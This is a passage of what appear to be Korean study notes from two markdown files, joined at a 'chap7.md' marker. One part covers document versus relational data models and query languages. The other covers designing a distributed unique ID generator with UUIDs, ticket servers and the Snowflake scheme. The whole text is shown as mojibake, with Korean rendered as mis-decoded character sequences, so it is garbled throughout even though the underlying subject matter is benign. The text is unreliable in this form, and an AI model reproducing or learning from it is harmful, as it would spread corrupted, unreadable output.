๋‹ค๋Œ€์ผ, ๋‹ค๋Œ€๋‹ค ๊ด€๊ณ„๋ฅผ ๋” ์ž˜ ์ง€์›ํ•จ์œผ๋กœ์จ ๋ฌธ์„œ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์— ๋Œ€ํ•ญํ•œ๋‹ค. #### ์–ด๋–ค ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๋ฅผ ๋” ๊ฐ„๋‹จํ•˜๊ฒŒ ํ• ๊นŒ? - ๋ฐ์ดํ„ฐ๊ฐ€ ๋ฌธ์„œ์™€ ๊ฐ™์€ ๊ตฌ์กฐ๋ผ๋ฉด ๋ฌธ์„œ ๋ชจ๋ธ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ๊ด€๊ณ„ํ˜• ๊ธฐ๋ฒ•์€ ๋ฌธ์„œ์™€ ๋น„์Šทํ•œ ๊ตฌ์กฐ๋ฅผ ์—ฌ๋Ÿฌ ํ…Œ์ด๋ธ”๋กœ ๋‚˜๋ˆ„์–ด ์ฐข์–ด (shredding) ์Šคํ‚ค๋งˆ์™€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณต์žก๋„๋ฅผ ์ฆ๊ฐ€์‹œํ‚จ๋‹ค. - ๋ฌธ์„œ ๋ชจ๋ธ์—๋Š” ์ œํ•œ์ด ์žˆ๋‹ค. - ๋ฌธ์„œ ๋‚ด ์ค‘์ฒฉ ํ•ญ๋ชฉ์„ ๋ฐ”๋กœ ํ‘œ์‹œํ•˜๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜์—ฌ '์‚ฌ์šฉ์ž 251์˜ ์ง์œ„ ๋ชฉ๋ก์˜ ๋‘ ๋ฒˆ์งธ ํ•ญ๋ชฉ'๊ณผ ๊ฐ™์€ ์‹์œผ๋กœ ๋‚˜ํƒ€๋‚ด์•ผ ํ•œ๋‹ค. ๋ฌธ์„œ๊ฐ€ ๋„ˆ๋ฌด ๊นŠ๊ฒŒ ์ค‘์ฒฉ๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ๋ฉด ๋ฌธ์ œ๊ฐ€ ๋˜์ง€ ์•Š๋Š”๋‹ค. - ๋ฌธ์„œ ๋ชจ๋ธ์€ ์กฐ์ธ ์ง€์›์ด ๋ฏธํกํ•˜๋‹ค. - ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋”ฐ๋ผ ๋ฌธ์ œ์ผ ์ˆ˜๋„ ์žˆ๊ณ  ์•„๋‹ ์ˆ˜๋„ ์žˆ๋‹ค. - ๋‹ค๋Œ€๋‹ค ๊ด€๊ณ„๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋ฌธ์„œ ๋ชจ๋ธ์€ ๋งค๋ ฅ์ด ๋–จ์–ด์ง„๋‹ค. - ๋น„์ •๊ทœํ™”๋ฅผ ํ†ตํ•ด ์กฐ์ธ์„ ์ค„์ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ๋น„์ •๊ทœํ™”๋œ ๋ฐ์ดํ„ฐ์˜ ์ผ๊ด€์„ฑ์„ ์œ„ํ•œ ์ถ”๊ฐ€ ์ž‘์—…์ด ํ•„์š”ํ•˜๋‹ค. - ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ์—์„œ ์กฐ์ธ์„ ํ‰๋‚ด๋‚ผ ๊ฒฝ์šฐ ๋ณต์žก๋„๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ์ด๋™ํ•  ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ๋ณดํ†ต ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด ํŠนํ™”๋œ ์ฝ”๋“œ๋กœ ์ˆ˜ํ–‰๋˜๋Š” ์กฐ์ธ๋ณด๋‹ค ๋” ๋А๋ฆฌ๋‹ค. - ์–ด๋–ค ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๋ฅผ ๋” ๊ฐ„๋‹จํ•˜๊ฒŒ ๋งŒ๋“œ๋Š”์ง€๋Š” ๋งํ•  ์ˆ˜ ์—†๋‹ค. ๋ฐ์ดํ„ฐ ํ•ญ๋ชฉ ๊ฐ„์— ์กด์žฌํ•˜๋Š” ๊ด€๊ณ„ ์œ ํ˜•์— ๋”ฐ๋ผ ๋‹ค๋ฅด๋‹ค. ์ƒํ˜ธ ์—ฐ๊ฒฐ์ด ๋งŽ์€ ๋ฐ์ดํ„ฐ์˜ ๊ฒฝ์šฐ ๋ฌธ์„œ ๋ชจ๋ธ์€ ๊ณค๋ž€ํ•˜์ง€๋งŒ ๊ด€๊ณ„ํ˜• ๋ชจ๋ธ์€ ๋ฌด๋‚œํ•˜๋ฉฐ ๊ทธ๋ž˜ํ”„ ๋ชจ๋ธ์€ ๋งค์šฐ ์ž์—ฐ์Šค๋Ÿฝ๋‹ค. #### ๋ฌธ์„œ ๋ชจ๋ธ์—์„œ์˜ ์Šคํ‚ค๋งˆ ์œ ์—ฐ์„ฑ - ๋ฌธ์„œ ๋ชจ๋ธ์ด schemaless๋ผ๋Š” ๊ฒƒ์€ ์˜คํ•ด์˜ ์†Œ์ง€๊ฐ€ ์žˆ๋‹ค. - schema-on-write(์“ฐ๊ธฐ ์Šคํ‚ค๋งˆ) - ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์ „ํ†ต์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹ - ์Šคํ‚ค๋งˆ๋Š” ๋ช…์‹œ์ , ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์Šคํ‚ค๋งˆ๋ฅผ ๋”ฐ๋ฅด๊ณ  ์žˆ์Œ์„ ๋ณด์žฅ - schema-on-read(์ฝ๊ธฐ ์Šคํ‚ค๋งˆ) - ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ๋Š” ์•”๋ฌต์ ์ด๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์„ ๋•Œ๋งŒ ํ•ด์„๋œ๋‹ค. - ๋‘ ๋ชจ๋ธ๊ฐ„ ์˜ณ๊ณ  ๊ทธ๋ฅธ ์ •๋‹ต์€ ์—†๋‹ค. - ์ฝ๊ธฐ ์Šคํ‚ค๋งˆ๋Š” ์ปฌ๋ ‰์…˜์˜ ํ•ญ๋ชฉ์ด ๋™์ผํ•œ ๊ตฌ์กฐ๊ฐ€ ์•„๋‹ ๋•Œ ์œ ๋ฆฌํ•˜๋‹ค. - ์—ฌ๋Ÿฌ ์œ ํ˜•์˜ ์˜ค๋ธŒ์ ํŠธ๊ฐ€ ์กด์žฌํ•˜๊ณ , ๊ฐ ์˜ค๋ธŒ์ ํŠธ ๋ณ„๋กœ ๋ณ„๋„ ํ…Œ์ด๋ธ”์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์‹ค์šฉ์ ์ด์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. - ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์—†๊ณ  ๋ณ€๊ฒฝ ๊ฐ€๋Šฅํ•œ ์™ธ๋ถ€ ์‹œ์Šคํ…œ์— ์˜ํ•ด ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ๊ฐ€ ๊ฒฐ์ •๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. - ๋ชจ๋“  ๋ ˆ์ฝ”๋“œ๊ฐ€ ๋™์ผํ•œ ๊ตฌ์กฐ์ผ ๋•Œ๋Š” ์Šคํ‚ค๋งˆ๊ฐ€ ๋ฌธ์„œํ™”์™€ ๊ตฌ์กฐ๋ฅผ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋Š” ์œ ์šฉํ•œ ๋ฐฉ๋ฒ•์ด๋‹ค. #### ์งˆ์˜๋ฅผ ์œ„ํ•œ ๋ฐ์ดํ„ฐ ์ง€์—ญ์„ฑ - ์ €์žฅ์†Œ ์ง€์—ญ์„ฑ์„ ํ™œ์šฉํ•˜๋ฉด ์„ฑ๋Šฅ ์ด์ ์„ ๊ฐ€์ ธ๊ฐˆ ์ˆ˜ ์žˆ๋‹ค. - ๋ฐ์ดํ„ฐ๊ฐ€ ์—ฌ๋Ÿฌ ํ…Œ์ด๋ธ”์— ๋‚˜๋‰˜์–ด์ง„ ๊ฒฝ์šฐ ๋‹ค์ค‘ ์ƒ‰์ธ ๊ฒ€์ƒ‰์ด ํ•„์š”ํ•˜๊ณ  ์ด๋กœ ์ธํ•ด ๋””์Šคํฌ ํƒ์ƒ‰๊ณผ ๋” ๋งŽ์€ ์‹œ๊ฐ„์ด ์†Œ์š”๋œ๋‹ค. - ์ง€์—ญ์„ฑ์˜ ์ด์ ์€ ํ•œ ๋ฒˆ์— ๋ฌธ์„œ์˜ ๋งŽ์€ ๋ถ€๋ถ„์„ ํ™œ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ์—๋งŒ ์ ์šฉ๋œ๋‹ค. - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—๋Š” ๋ฌธ์„œ์˜ ์ผ๋ถ€์—๋งŒ ์ ‘๊ทผํ•˜๋”๋ผ๋„ ์ „์ฒด ๋ฌธ์„œ๋ฅผ ์ ์žฌํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํฐ ๋ฌธ์„œ์—์„œ๋Š” ๋‚ญ๋น„๊ฐ€ ๋  ์ˆ˜ ์žˆ๋‹ค. - ์ด๋Ÿฐ ์ด์œ ๋กœ ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฌธ์„œ๋ฅผ ์•„์ฃผ ์ž‘๊ฒŒ ์œ ์ง€ํ•˜๋ฉด์„œ ๋ฌธ์„œ์˜ ํฌ๊ธฐ๊ฐ€ ์ฆ๊ฐ€ํ•˜๋Š” ์“ฐ๊ธฐ๋ฅผ ํ”ผํ•˜๋ผ๊ณ  ๊ถŒ์žฅํ•œ๋‹ค. - ์ด ์ƒํ™ฉ์œผ๋กœ ์ธํ•ด ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์œ ์šฉํ™˜ ์ƒํ™ฉ์ด ๋งŽ์ด ์ค„์–ด๋“ ๋‹ค. - ์ง€์—ญ์„ฑ์€ ๋ฌธ์„œ ๋ชจ๋ธ์—๋งŒ ๊ตญํ•œ๋˜์ง€ ์•Š๋Š”๋‹ค. - ์ง€์—ญ์„ฑ์˜ ์ด์ ์„ ํ™œ์šฉํ•œ ๋‹ค๋ฅธ ๋ชจ๋ธ์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋“ค์ด ์กด์žฌํ•œ๋‹ค. #### ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ํ†ตํ•ฉ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ๋ฌธ์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์‹œ๊ฐ„์ด ์ง€๋‚ ์ˆ˜๋ก ์ ์  ๋น„์Šทํ•ด์ง€๊ณ  ์žˆ๋‹ค. ๊ฐ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์ด ์„œ๋กœ ๋ถ€์กฑํ•œ ๋ถ€๋ถ„์„ ๋ณด์™„ํ•ด๊ฐ€๊ณ  ์žˆ๋Š” ๊ฒƒ์ด๋‹ค. ### ๋ฐ์ดํ„ฐ๋ฅผ ์œ„ํ•œ ์งˆ์˜ ์–ธ์–ด - ๋ช…๋ นํ˜• : IMS, ์ผ๋ฐ˜์ ์ธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด - ํŠน์ • ์ˆœ์„œ๋กœ ํŠน์ • ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ์ปดํ“จํ„ฐ์—๊ฒŒ ์ง€์‹œ - ์„ ์–ธํ˜• ์งˆ์˜ ์–ธ์–ด : SQL - ๋ชฉํ‘œ๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๋ฐฉ๋ฒ•์ด ์•„๋‹Œ ์•Œ๊ณ ์ž ํ•˜๋Š” ๋ฐ์ดํ„ฐ์˜ ํŒจํ„ด, ์ฆ‰ ๊ฒฐ๊ณผ๊ฐ€ ์ถฉ์กฑํ•ด์•ผ ํ•˜๋Š” ์กฐ๊ฑด๊ณผ ๋ฐ์ดํ„ฐ๋ฅผ ์–ด๋–ป๊ฒŒ ๋ณ€ํ™˜ํ• ์ง€๋ฅผ ์ง€์ • - ์„ ์–ธํ˜• ์งˆ์˜ ์–ธ์–ด๋Š” ๋ช…๋ นํ˜• API๋ณด๋‹ค ๊ฐ„๊ฒฐํ•˜๊ณ  ์‰ฝ๊ฒŒ ์ž‘์—…ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ด ๋งค๋ ฅ์ ์ด๋‹ค. ํ•˜์ง€๋งŒ ๋” ์ค‘์š”ํ•œ ์ ์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—”์ง„์˜ ์ƒ์„ธ ๊ตฌํ˜„์ด ์ˆจ๊ฒจ์ ธ ์žˆ์–ด ์งˆ์˜ ๋ณ€๊ฒฝ ์—†์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‹œ์Šคํ…œ์˜ ์„ฑ๋Šฅ ํ–ฅ์ƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์ด๋‹ค. - ์„ ์–ธํ˜• ์งˆ์˜ ์–ธ์–ด๋Š” ์ข…์ข… ๋ณ‘๋ ฌ ์‹คํ–‰์— ์ ํ•ฉํ•˜๋‹ค. - ๋ช…๋ นํ˜• ์ฝ”๋“œ๋Š” ๋ช…๋ น์–ด๋ฅผ ํŠน์ • ์ˆœ์„œ๋กœ ์ˆ˜ํ–‰ํ•˜๊ฒŒ๋” ์ง€์ •ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์ค‘ ์ฝ”์–ด๋‚˜ ๋‹ค์ค‘ ์žฅ๋น„์—์„œ ๋ณ‘๋ ฌ ์ฒ˜๋ฆฌ๊ฐ€ ์–ด๋ ต๋‹ค. - ์„ ์–ธํ˜• ์–ธ์–ด๋Š” ๊ฒฐ๊ณผ๋ฅผ ์–ป๊ธฐ ์œ„ํ•œ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์ง€์ •ํ•˜๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ ๊ฒฐ๊ณผ์˜ ํŒจํ„ด๋งŒ ์ง€์ •ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ณ‘๋ ฌ ์‹คํ–‰์œผ๋กœ ๋” ๋นจ๋ผ์งˆ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค. ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ์งˆ์˜ ์–ธ์–ด์˜ ๋ณ‘๋ ฌ ๊ตฌํ˜„์„ ๋งˆ์Œ๊ป ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.``` chap7.md ```# 7์žฅ: ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์„ ์œ„ํ•œ ์œ ์ผ ID ์ƒ์„ฑ๊ธฐ ์„ค๊ณ„ - DBMS์˜ auto_increment๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋˜์ง€ ์•Š์„๊นŒ? -> ๋ถ„์‚ฐ ํ™˜๊ฒฝ์—์„œ ์ด ๋ฐฉ์‹์€ ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค. DB ์„œ๋ฒ„ ํ•œ๋Œ€๋กœ๋Š” ์š”๊ตฌ๋ฅผ ๊ฐ๋‹นํ•  ์ˆ˜ ์—†์„ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ์—ฌ๋Ÿฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์ง€์—ฐ์„ ๋‚ฎ์ถ”๊ธฐ๊ฐ€ ๋ฌด์ฒ™ ํž˜๋“ค ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ## 1๋‹จ๊ณ„: ๋ฌธ์ œ ์ดํ•ด ๋ฐ ์„ค๊ณ„ ๋ฒ”์œ„ ํ™•์ • - ID๋Š” ์œ ์ผํ•ด์•ผ ํ•œ๋‹ค. - ID๋Š” ์ˆซ์ž๋กœ๋งŒ ๊ตฌ์„ฑ๋˜์–ด์•ผ ํ•œ๋‹ค. - ID๋Š” 64bit๋กœ ํ‘œํ˜„๋  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ด์–ด์•ผ ํ•œ๋‹ค. - ID๋Š” ๋ฐœ๊ธ‰ ๋‚ ์งœ์— ๋”ฐ๋ผ ์ •๋ ฌ ๊ฐ€๋Šฅํ•ด์•ผ ํ•œ๋‹ค. - ์ดˆ๋‹น 10,000๊ฐœ์˜ ID๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. ## 2๋‹จ๊ณ„: ๊ฐœ๋žต์  ์„ค๊ณ„์•ˆ ์ œ์‹œ ๋ฐ ๋™์˜ ๊ตฌํ•˜๊ธฐ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์—์„œ ์œ ์ผ์„ฑ์ด ๋ณด์žฅ๋˜๋Š” ID๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๋‹ค. ์šฐ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์„ ํƒ์ง€๋ฅผ ์‚ดํŽด๋ณผ ๊ฒƒ์ด๋‹ค. - ๋‹ค์ค‘ ๋งˆ์Šคํ„ฐ ๋ณต์ œ - UUID - ํ‹ฐ์ผ“ ์„œ๋ฒ„ - ํŠธ์œ„ํ„ฐ ์Šค๋…ธํ”Œ๋ ˆ์ดํฌ ์ ‘๊ทผ๋ฒ• ### ๋‹ค์ค‘ ๋งˆ์Šคํ„ฐ ๋ณต์ œ - DB์˜ auto_increment๋ฅผ ํ™œ์šฉํ•œ๋‹ค. ๋‹ค๋งŒ, ๋‹ค์Œ ID์˜ ๊ฐ’์„ ๊ตฌํ•  ๋•Œ 1๋งŒํผ ์ฆ๊ฐ€์‹œ์ผœ ์–ป๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ k๋งŒํผ ์ฆ๊ฐ€์‹œํ‚จ๋‹ค. (k=๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค ์„œ๋ฒ„์˜ ์ˆ˜) - ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๊ทœ๋ชจ ํ™•์žฅ์„ฑ ๋ฌธ์ œ๋ฅผ ์–ด๋А์ •๋„ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ˆ˜๋ฅผ ๋Š˜๋ฆฌ๋ฉด ์ดˆ๋‹น ์ƒ์‚ฐ ๊ฐ€๋Šฅ ID์ˆ˜๋„ ๋Š˜๋ฆด ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. - ํ•˜์ง€๋งŒ ์•„๋ž˜์™€ ๊ฐ™์€ ์น˜๋ช…์ ์ธ ๋‹จ์ ์ด ์žˆ๋‹ค. - ์—ฌ๋Ÿฌ ๋ฐ์ดํ„ฐ ์„ผํ„ฐ์— ๊ฑธ์ณ ๊ทœ๋ชจ๋ฅผ ๋Š˜๋ฆฌ๊ธฐ ์–ด๋ ต๋‹ค. - ID์˜ ์œ ์ผ์„ฑ์€ ๋ณด์žฅ๋˜์ง€๋งŒ, ๊ทธ ๊ฐ’์ด ์‹œ๊ฐ„์˜ ํ๋ฆ„์— ๋งž์ถฐ ์ปค์ง€๋„๋ก ๋ณด์žฅํ•  ์ˆ˜ ์—†๋‹ค. - ์„œ๋ฒ„๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์‚ญ์ œํ•  ๋•Œ๋„ ์ž˜ ๋™์ž‘ํ•˜๋„๋ก ๋งŒ๋“ค๊ธฐ ์–ด๋ ต๋‹ค. ### UUID - UUID: ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ์— ์ €์žฅ๋˜๋Š” ์ •๋ณด๋ฅผ ์œ ์ผํ•˜๊ฒŒ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•œ 128๋น„ํŠธ์งœ๋ฆฌ ์ˆ˜๋‹ค. - UUID์˜ ์ถฉ๋Œ ๊ฐ€๋Šฅ์„ฑ์€ ๋งค์šฐ ๋‚ฎ๋‹ค. - UUID๋Š” `550e8400-e29b-41d4-a716-446655440000`์™€ ๊ฐ™์€ ํ˜•ํƒœ๋ฅผ ๋„๊ณ , ์„œ๋ฒ„ ๊ฐ„ ์กฐ์œจ ์—†์ด ๋…๋ฆฝ์ ์œผ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. - ์žฅ์  - UUID์˜ ์ƒ์„ฑ์€ ๋‹จ์ˆœํ•˜๋‹ค. (์„œ๋ฒ„ ์‚ฌ์ด์˜ ์กฐ์œจ์ด ํ•„์š” ์—†์–ด ๋™๊ธฐํ™” ์ด์Šˆ๋„ ์—†๋‹ค) - ๊ฐ ์„œ๋ฒ„๊ฐ€ ์•Œ์•„์„œ UUID๋ฅผ ์ƒ์„ฑํ•˜๋ฏ€๋กœ ๊ทœ๋ชจ ํ™•์žฅ๋„ ์‰ฝ๋‹ค - ๋‹จ์  - ID๊ฐ€ 128 ๋น„ํŠธ๋กœ ๊ธธ๋‹ค. ์ด๋ฒˆ ์žฅ์˜ ์š”๊ตฌ์‚ฌํ•ญ์€ 64๋น„ํŠธ๋‹ค. - ID๋ฅผ ์‹œ๊ฐ„ ์ˆœ์œผ๋กœ ์ •๋ ฌํ•  ์ˆ˜ ์—†๋‹ค. - ID์— ์ˆซ์ž๊ฐ€ ์•„๋‹Œ ๊ฐ’์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ๋‹ค. ### ํ‹ฐ์ผ“์„œ๋ฒ„ auto_increment ๊ธฐ๋Šฅ์„ ๊ฐ–์ถ˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์„œ๋ฒ„ aka ํ‹ฐ์ผ“ ์„œ๋ฒ„๋ฅผ ์ค‘์•™ ์ง‘์ค‘ํ˜•์œผ๋กœ ํ•˜๋‚˜๋งŒ ์‚ฌ์šฉํ•œ๋‹ค. - ์žฅ์  - ์œ ์ผ์„ฑ์ด ๋ณด์žฅ๋˜๋Š” ์˜ค์ง ์ˆซ์ž๋กœ๋งŒ ๊ตฌ์„ฑ๋œ ID๋ฅผ ์‰ฝ๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค - ๊ตฌํ˜„์ด ์‰ฝ๊ณ  ์ค‘์†Œ ๊ทœ๋ชจ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ํ•ฉํ•˜๋‹ค - ๋‹จ์  - ํ‹ฐ์ผ“์„œ๋ฒ„ -> SPOF - SPOF๋ฅผ ํ”ผํ•˜๋ ค๋ฉด ํ‹ฐ์ผ“์„œ๋ฒ„๋ฅผ ์—ฌ๋Ÿฌ๋Œ€ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ด๋Ÿด ๊ฒฝ์šฐ์—” ๋™๊ธฐํ™” ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ### ํŠธ์œ„ํ„ฐ ์Šค๋…ธํ”Œ๋ ˆ์ดํฌ ์ ‘๊ทผ๋ฒ• - divide and conquer - ์ƒ์„ฑํ•ด์•ผ ํ•˜๋Š” ID์˜ ๊ตฌ์กฐ๋ฅผ ์—ฌ๋Ÿฌ ์ ˆ(section)๋กœ ๋ถ„ํ•  - ๊ฐ ์ ˆ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋œ๋‹ค - sign bit: ๋‹น์žฅ์€ ์“ธ๋ชจ๊ฐ€ ์—†์ง€๋งŒ ๋‚˜์ค‘์„ ์œ„ํ•ด 1๋น„ํŠธ๋ฅผ ์œ ๋ณด. ์Œ์ˆ˜์™€ ์–‘์ˆ˜ ๊ตฌ๋ณ„์„ ์œ„ํ•ด ์‚ฌ์šฉ ๊ฐ€๋Šฅ - timestamp: 41bit ํ• ๋‹น. epoch ์ดํ›„๋กœ ๋ช‡ ms๊ฐ€ ์ง€๋‚ฌ๋Š”์ง€ ๋‚˜ํƒ€๋‚ด๋Š” ๊ฐ’ - datacenter id: 5bit ํ• ๋‹น. 2์˜ 5์Šน = 32๊ฐœ์˜ datacenter๋ฅผ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Œ - server id: 5bitํ• ๋‹น. ๋”ฐ๋ผ์„œ datacenter๋‹น 32๊ฐœ์˜ ์„œ๋ฒ„๋ฅผ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Œ - squence number: 12bitํ• ๋‹น. ๊ฐ ์„œ๋ฒ„์—์„œ๋Š” ID๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ๋งˆ๋‹ค ์ด ์ผ๋ จ๋ฒˆํ˜ธ๋ฅผ ์ฆ๊ฐ€์‹œํ‚ด. ์ด ๊ฐ’์€ 1ms๊ฐ€ ์ง€๋‚  ๋•Œ๋งˆ๋‹ค 0์œผ๋กœ ์ดˆ๊ธฐํ™” ๋จ ## ์ƒ์„ธ ์„ค๊ณ„ ํŠธ์œ„ํ„ฐ ์Šค๋…ธํ”Œ๋ ˆ์ดํฌ ์ ‘๊ทผ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ณด๋‹ค ์ƒ์„ธํ•œ ์„ค๊ณ„๋ฅผ ์ง„ํ–‰ํ•ด๋ณด์ž - datacenter id, server id๋ฅผ ์ž˜ ๋ชป ๋ณ€๊ฒฝํ•˜๊ฒŒ ๋˜๋ฉด id ์ถฉ๋Œ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ด๋Ÿฐ ์ž‘์—… ์‹œ์—๋Š” ์‹ ์ค‘ํ•ด์•ผ ํ•œ๋‹ค. - ํƒ€์ž„์Šคํƒฌํ”„๋‚˜ ์ผ๋ จ ๋ฒˆํ˜ธ๋Š” ID ์ƒ์„ฑ๊ธฐ๊ฐ€ ์‹คํ–‰๋˜๋Š” ์ค‘ ๋งŒ๋“ค์–ด์ง€๋Š” ๊ฐ’์ด๋‹ค. ### ํƒ€์ž„์Šคํƒฌํ”„ - ํƒ€์ž„์Šคํƒฌํ”„๋Š” ์‹œ๊ฐ„์ด ํ๋ฆ„์— ๋”ฐ๋ผ ํฐ ๊ฐ’์„ ๊ฐ€์ง€๊ฒŒ ๋˜๋ฏ€๋กœ, ๊ฒฐ๊ตญ ID๋Š” ์‹œ๊ฐ„ ์ˆœ์œผ๋กœ ์ •๋ ฌ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋  ๊ฒƒ์ด๋‹ค. ### ์ผ๋ จ๋ฒˆํ˜ธ - ์–ด๋–ค ์„œ๋ฒ„๊ฐ€ ๊ฐ™์€ ๋ฐ€๋ฆฌ ์ดˆ ๋™์•ˆ ํ•˜๋‚˜ ์ด์ƒ์˜ ID๋ฅผ ๋งŒ๋“ค์–ด ๋‚ธ ๊ฒฝ์šฐ์—๋งŒ 0๋ณด๋‹ค ํฐ ๊ฐ’์„ ๊ฐ–๊ฒŒ ๋œ๋‹ค. ## 4๋‹จ๊ณ„ ๋งˆ๋ฌด๋ฆฌ ์ฑ„ํƒํ•œ ๋ฐฉ์‹: ์Šค๋…ธํ”Œ๋ ˆ์ดํฌ -> ๋ชจ๋“  ์š”๊ตฌ์‚ฌํ•ญ์„ ๋งŒ์กฑํ•˜๋ฉด์„œ๋„ ๋ถ„์‚ฐ ํ™˜๊ฒฝ์—์„œ ๊ทœ๋ชจ ํ™•์žฅ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ์‹œ๊ฐ„์ด ๋‚จ๋Š”๋‹ค๋ฉด ์•„๋ž˜ ๋‚ด์šฉ์„ ์ถ”๊ฐ€๋กœ ๋…ผ์˜ํ•  ์ˆ˜ ์žˆ๋‹ค. - ์‹œ๊ณ„ ๋™๊ธฐํ™” - ID ์ƒ์„ฑ ์„œ๋ฒ„๋“ค์ด ์ „๋ถ€ ๊ฐ™์€ ์‹œ๊ณ„๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ–ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๋Ÿฐ 